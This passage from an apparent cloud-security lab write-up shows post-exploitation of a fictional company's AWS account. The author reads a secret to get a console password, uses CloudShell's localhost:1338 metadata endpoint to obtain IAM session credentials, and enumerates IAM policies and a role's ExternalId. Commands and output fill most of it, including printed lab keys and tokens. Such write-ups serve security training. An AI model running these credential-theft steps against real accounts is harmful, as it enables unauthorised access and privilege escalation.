</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Access to the default payment card for Huge Logistics&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;KmsKeyId&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastAccessedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-01T00:00:00Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastChangedDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-04T22:33:39.872Z&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;LastRotatedDate&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Name&#34;</span>: <span style="color:#e6db74">&#34;billing/hl-default-payment&#34;</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;OwningService&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;PrimaryRegion&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationEnabled&#34;</span>: false,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationLambdaARN&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;RotationRules&#34;</span>: null,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;SecretVersionsToStages&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#e6db74">&#34;f8e592ca-4d8a-4a85-b7fa-7059539192c5&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                                                <span style="color:#e6db74">&#34;AWSCURRENT&#34;</span>
</span></span><span style="display:flex;"><span>                                        <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                                <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;ResultMetadata&#34;</span>: <span style="color:#f92672">{}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------
</span></span></code></pre></div><p>This definitely is a treasure trove of secrets and unfortunately we were only able to access the Cost Optimization secret, but that gives us another set of credentials.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ARN&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Name&#34;</span>: <span style="color:#e6db74">&#34;ext/cost-optimization&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;f7d6ae91-5afd-4a53-93b9-92ee74d8469c&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;SecretString&#34;</span>: <span style="color:#e6db74">&#34;{\&#34;Username\&#34;:\&#34;ext-cost-user\&#34;,\&#34;Password\&#34;:\&#34;K33pOurCostsOptimized!!!!\&#34;}&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;VersionStages&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AWSCURRENT&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;CreatedDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-05T05:19:28.512000+08:00&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Using the credentials, we navigate to the AWS Console</p>
<p><img src="/assets/pwn_20240702100817.png" alt=""></p>
<p>We are able to login and are presented with the Console Home page</p>
<p><img src="/assets/pwn_20240702102607.png" alt=""></p>
<p>Getting access to the console is great, but not always that useful as there may be tools that we want to run which would require us to have IAM credentials.  There is an excellent article on <a href="https://hackingthe.cloud">Hacking the Cloud</a> that talks about exploiting CloudShell via an undocumented endpoint on Port 1338 which is covered in detail <a href="https://hackingthe.cloud/aws/post_exploitation/get_iam_creds_from_console_session/">here</a> and is the approach that we are going to take.</p>
<p>There are two methods that we can use, with the first being that we use <code>curl</code> to directly query the metadata and the second to used the AWS CLI to get the value.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>cloudshell-user@ip-10-136-55-216 ~<span style="color:#f92672">]</span>$ TOKEN<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>curl -X PUT localhost:1338/latest/api/token -H <span style="color:#e6db74">&#34;X-aws-ec2-metadata-token-ttl-seconds: 60&#34;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
</span></span><span style="display:flex;"><span>                                 Dload  Upload   Total   Spent    Left  Speed
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">100</span>    <span style="color:#ae81ff">44</span>  <span style="color:#ae81ff">100</span>    <span style="color:#ae81ff">44</span>    <span style="color:#ae81ff">0</span>     <span style="color:#ae81ff">0</span>  <span style="color:#ae81ff">19172</span>      <span style="color:#ae81ff">0</span> --:--:-- --:--:-- --:--:-- <span style="color:#ae81ff">22000</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>cloudshell-user@ip-10-136-55-216 ~<span style="color:#f92672">]</span>$ curl localhost:1338/latest/meta-data/container/security-credentials -H <span style="color:#e6db74">&#34;X-aws-ec2-metadata-token: </span>$TOKEN<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Type&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AccessKeyId&#34;</span>: <span style="color:#e6db74">&#34;ASIAWHEOTHRFRPPW5PHS&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SecretAccessKey&#34;</span>: <span style="color:#e6db74">&#34;Z0AwsMUnA7bfT5Xhc50xRaznM/kJFeOFE0kTNApB&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Token&#34;</span>: <span style="color:#e6db74">&#34;IQoJb3JpZ2luX2VjELP//////////wEaCXVzLWVhc3QtMSJHMEUCIQCOJRudRxJAo3drEYrASr4Eev3cWQkCW5lmR1qn8t/iOQIgYGGWou7aCU4i7ElB0H/QU+J15aAbDzfAOOr9JXDAizMqkgMIbBAAGgw0Mjc2NDgzMDIxNTUiDGhqhLk/CaEAKL/G5SrvAsocLx4aovd6ojsc7TflGD5u1UW8UHMmJEJpGdii02b3JKe8kWNnREn9yOhUjXKTiMFef/Wpu8LPz4Wmzk3B9hLaATAVhbXtJ6a1vq958H6D+zETM59zEzZTRt9ra6gF8dRMHnX4Uat9AI11x3PhKTu4kIG/pAzDZXFvaYyZiBMad5vLvFBZKYs7siDP//vA+p8tLJ4BUrCAI/APGDkuo81zk1c6CVxf11r5AsusLERFUgjHFjMlttRI+iOOYgxdP0O8gKF4yXgPGJt9zp442toVt9LaSGsqaASn2XuCKDmw3ZHvnG/xNLZldTN5v59CPzel6LWdS8/I+4LJs0xDWo49lkwCbmWCTLHqRPMeWQFvNYYZcxrcOvYt4OLbQSx/kErc0qGIJ1lDp7H3m3k7Alp59+t0ky+UX4vsYdIY9+vvBjfrU6YAJJaUXoEwEGvShzz/yDUF7icLbqPNhLmCEt/CK9OzW1X0snVXkiRy/mww+8GNtAY6swJrUHa05AdMLPTIlGJyXdfMumIhepMk9pxYyB1aq21NSNR3hjJ+Em4GlrqaudxILHUlzfTDLDJIXPDNlmlC91L1/K5BbjS9GFzO1/e2xuDl/qvWVdsNmKV+KFwZw5Ci1lRwYwipKo0LZ84pXX/pB59ijGNtsr4xJ7KThoS7/Z9mwVdIN2or2hJDCfPOxzidQwyGQV4AIIMiXdGbZvuhRKwU1XEsbcFyQmeMG7EKrE8MP3RCEx+q8DrV5Juerk7oLFzCTRV1wHVTSwcYMl2vDcQOqt9xGA4C1qUozNr5AUiFDORYuE3YAWLwkH/D8PaDiMzkoA8Jx5UpVcZlQ+v8oNC4j2/1RToj3wb1rJ+FLg/nZsAXfbBJEqqS9U/ZSMnt0uldxpi2ECvRZmJsr3irEE9gGvG+&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Expiration&#34;</span>: <span style="color:#e6db74">&#34;2024-07-02T02:49:01Z&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Code&#34;</span>: <span style="color:#e6db74">&#34;Success&#34;</span>
</span></span></code></pre></div><p>You will note that the above value has an expiration time of 15 minutes.  The other as mentioned before is to export the credentials via the AWS CLI</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>cloudshell-user@ip-10-136-55-216 ~<span style="color:#f92672">]</span>$ aws configure export-credentials --format env
</span></span><span style="display:flex;"><span>export AWS_ACCESS_KEY_ID<span style="color:#f92672">=</span>ASIAWHEOTHRFQJJRYWPI
</span></span><span style="display:flex;"><span>export AWS_SECRET_ACCESS_KEY<span style="color:#f92672">=</span>7zVzJqZoFplnv1uCV6fBr4NMFwiQ5Ew5/AanAFeL
</span></span><span style="display:flex;"><span>export AWS_SESSION_TOKEN<span style="color:#f92672">=</span>IQoJb3JpZ2luX2VjEOn//////////wEaCXVzLWVhc3QtMSJHMEUCIHlZxVAUD7pNtlVy13nfI/05IXzMMa91LEiybUisufPxAiEAuzGNajy4WKFhhMepy52y36oJ9mS3kEM/bGIawq+0e0YqpgIIYhAAGgw0Mjc2NDgzMDIxNTUiDJm5eFl997VflweGXCqDAhUkZ7f5r6xNyE02maL3yvOD8AtRYG4uRDx6knbn4ECLMcagBhZZrDFpguphlnRXR2azlKTA1j4wEGqrJh0t53Hbedm+T89M8QEAeT+qd0tdce9TbLVaj2AetFyo13Ka4n/DgoRzWeHYZI0zuYloTRxQXtPZ8P+O8kvnEjmbxanVeATJ0ZmElxiY53jZlrW3UVRhONUVjdlLudo2DfIuNXBRK8J6+af953FwkO0sd/mb44bcrec4V86hd+M1UgYdXe5mgyrKP3SFWpx1K/8BiKrjVqP7dOUH/70AW4zzIW4l75+4P7Nd7oEo8gRsgSoLv1IP15d2zOEqTEE7Xx8sKqzvXtMwqMa4sgY6nQEoI/iNPYC85Qikra0CZAjAT3M5mTXF1NLA2oND88eL/bG1wtBS8LibtBCOT9Wao3F1j475B4go8ndlvy0nFQnaiVDHs2d8vxVRSo0XeRJP2mINrY+WXABLxOTDxLj2/gPoy1VilE3JeDoiKUAfTmd0FMzUWhxovnJofaEWbpDycuR5TYI16hJJuq9DlVVJTpyISuP799EXRXeK+gfo
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>cloudshell-user@ip-10-136-55-216 ~<span style="color:#f92672">]</span>$ 
</span></span></code></pre></div><p>We configure AWS CLI with the above credentials and token</p>
<blockquote>
<p>Ignore the differences in the token values above to what is entered below as there was a time delay and had to refresh the values.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile ext-cost-user configure
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>****************YWPI<span style="color:#f92672">]</span>: ASIAWHEOTHRFRPPW5PHS
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>****************AFeL<span style="color:#f92672">]</span>: Z0AwsMUnA7bfT5Xhc50xRaznM/kJFeOFE0kTNApB
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>us-east-1<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile ext-cost-user configure set aws_session_token <span style="color:#e6db74">&#34;IQoJb3JpZ2luX2VjELP//////////wEaCXVzLWVhc3QtMSJHMEUCIQCOJRudRxJAo3drEYrASr4Eev3cWQkCW5lmR1qn8t/iOQIgYGGWou7aCU4i7ElB0H/QU+J15aAbDzfAOOr9JXDAizMqkgMIbBAAGgw0Mjc2NDgzMDIxNTUiDGhqhLk/CaEAKL/G5SrvAsocLx4aovd6ojsc7TflGD5u1UW8UHMmJEJpGdii02b3JKe8kWNnREn9yOhUjXKTiMFef/Wpu8LPz4Wmzk3B9hLaATAVhbXtJ6a1vq958H6D+zETM59zEzZTRt9ra6gF8dRMHnX4Uat9AI11x3PhKTu4kIG/pAzDZXFvaYyZiBMad5vLvFBZKYs7siDP//vA+p8tLJ4BUrCAI/APGDkuo81zk1c6CVxf11r5AsusLERFUgjHFjMlttRI+iOOYgxdP0O8gKF4yXgPGJt9zp442toVt9LaSGsqaASn2XuCKDmw3ZHvnG/xNLZldTN5v59CPzel6LWdS8/I+4LJs0xDWo49lkwCbmWCTLHqRPMeWQFvNYYZcxrcOvYt4OLbQSx/kErc0qGIJ1lDp7H3m3k7Alp59+t0ky+UX4vsYdIY9+vvBjfrU6YAJJaUXoEwEGvShzz/yDUF7icLbqPNhLmCEt/CK9OzW1X0snVXkiRy/mww+8GNtAY6swJrUHa05AdMLPTIlGJyXdfMumIhepMk9pxYyB1aq21NSNR3hjJ+Em4GlrqaudxILHUlzfTDLDJIXPDNlmlC91L1/K5BbjS9GFzO1/e2xuDl/qvWVdsNmKV+KFwZw5Ci1lRwYwipKo0LZ84pXX/pB59ijGNtsr4xJ7KThoS7/Z9mwVdIN2or2hJDCfPOxzidQwyGQV4AIIMiXdGbZvuhRKwU1XEsbcFyQmeMG7EKrE8MP3RCEx+q8DrV5Juerk7oLFzCTRV1wHVTSwcYMl2vDcQOqt9xGA4C1qUozNr5AUiFDORYuE3YAWLwkH/D8PaDiMzkoA8Jx5UpVcZlQ+v8oNC4j2/1RToj3wb1rJ+FLg/nZsAXfbBJEqqS9U/ZSMnt0uldxpi2ECvRZmJsr3irEE9gGvG+&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile ext-cost-user sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AIDAWHEOTHRFTNCWM7FHT&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;427648302155&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:user/ext-cost-user&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We then enumerate the user to see attached policies and there are two, which are <code>ExtCloudShell</code> and <code>ExtPolicyTest</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile ext-cost-user iam list-attached-user-policies --user-name ext-cost-user
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AttachedPolicies&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;ExtCloudShell&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/ExtCloudShell&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;ExtPolicyTest&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/ExtPolicyTest&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We don&rsquo;t have access to view <code>ExtCloudShell</code>, but we can view the <code>ExtPolicyTest</code> and we can see that the current version is v4</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile ext-cost-user iam get-policy --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Policy&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;ExtPolicyTest&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPAWHEOTHRF7772VGA5J&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/ExtPolicyTest&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v4&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AttachmentCount&#34;</span>: 1,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PermissionsBoundaryUsageCount&#34;</span>: 0,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsAttachable&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-04T21:47:26+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-06T20:23:42+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We further enumerate the policy and we can see that there are AWS permissions and can see that there is a role <code>ExternalCostOpimizeAccess</code> as well as a Policy <code>Payment</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile ext-cost-user iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest --version-id v4
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PolicyVersion&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Document&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Sid&#34;</span>: <span style="color:#e6db74">&#34;VisualEditor0&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:GetRole&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:GetPolicyVersion&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:GetPolicy&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:GetUserPolicy&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:ListAttachedRolePolicies&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:ListAttachedUserPolicies&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;iam:GetRolePolicy&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/ExtPolicyTest&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/Payment&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:user/ext-cost-user&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;v4&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsDefaultVersion&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-06T20:23:42+00:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We drill down into the role and we can see that our user has the right to AssumeRole and do note that there is a Conditional Requirement of STS for an ExternalId value.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile ext-cost-user iam get-role --role-name ExternalCostOpimizeAccess
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Role&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;RoleName&#34;</span>: <span style="color:#e6db74">&#34;ExternalCostOpimizeAccess&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;RoleId&#34;</span>: <span style="color:#e6db74">&#34;AROAWHEOTHRFZP3NQR7WN&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-04T21:09:30+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AssumeRolePolicyDocument&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Principal&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;AWS&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:user/ext-cost-user&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;sts:AssumeRole&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Condition&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;StringEquals&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;sts:ExternalId&#34;</span>: <span style="color:#e6db74">&#34;37911&#34;</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Allow trusted AWS cost optimization partner to access Huge Logistics resources&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;MaxSessionDuration&#34;</span>: 3600,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;RoleLastUsed&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;LastUsedDate&#34;</span>: <span style="color:#e6db74">&#34;2024-07-01T19:47:18+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Region&#34;</span>: <span style="color:#e6db74">&#34;us-east-1&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We then enumerate Attached Role Policies for the role and we can see that the <code>Payment</code> policy is attached to the role.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile ext-cost-user iam list-attached-role-policies --role-name ExternalCostOpimizeAccess
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AttachedPolicies&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;Payment&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;PolicyArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/Payment&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
